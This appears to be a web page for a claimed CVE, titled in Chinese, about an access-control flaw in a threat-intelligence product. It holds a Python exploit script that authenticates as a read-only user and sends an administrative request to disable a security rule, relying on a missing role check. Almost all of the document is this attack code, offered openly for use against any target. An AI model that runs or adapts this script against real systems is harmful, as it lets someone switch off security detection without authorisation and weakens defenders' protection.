CVE-2025-40897 访问控制漏洞导致权限提升

#!/usr/bin/env python3 import requests # Exploit Title: CVE-2025-40897 - Privilege Escalation in Threat Intelligence # Description: Exploit access control vulnerability to modify rules as a view-only user. TARGET_URL = "https://<target-ip>/api/v1/threat-intelligence/rules" USER = "readonly_user" PASS = "password123" # Malicious payload to disable a critical rule PAYLOAD = { "rule_id": "rule-01", "status": "disabled", "action": "update_configuration" } def exploit(): session = requests.Session() # Step 1: Authenticate as low-privileged user print("[*] Authenticating as view-only user...") login_data = {"username": USER, "password": PASS} login_resp = session.post("https://<target-ip>/api/v1/login", json=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send Administrative Request print("[*] Sending malicious administrative request...") headers = {"Content-Type": "application/json"} # The vulnerability is here: The server checks if the user is authenticated, # but fails to check if the user has 'admin' role for this specific endpoint. response = session.post(TARGET_URL, json=PAYLOAD, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Rules have been modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") if __name__ == "__main__": exploit()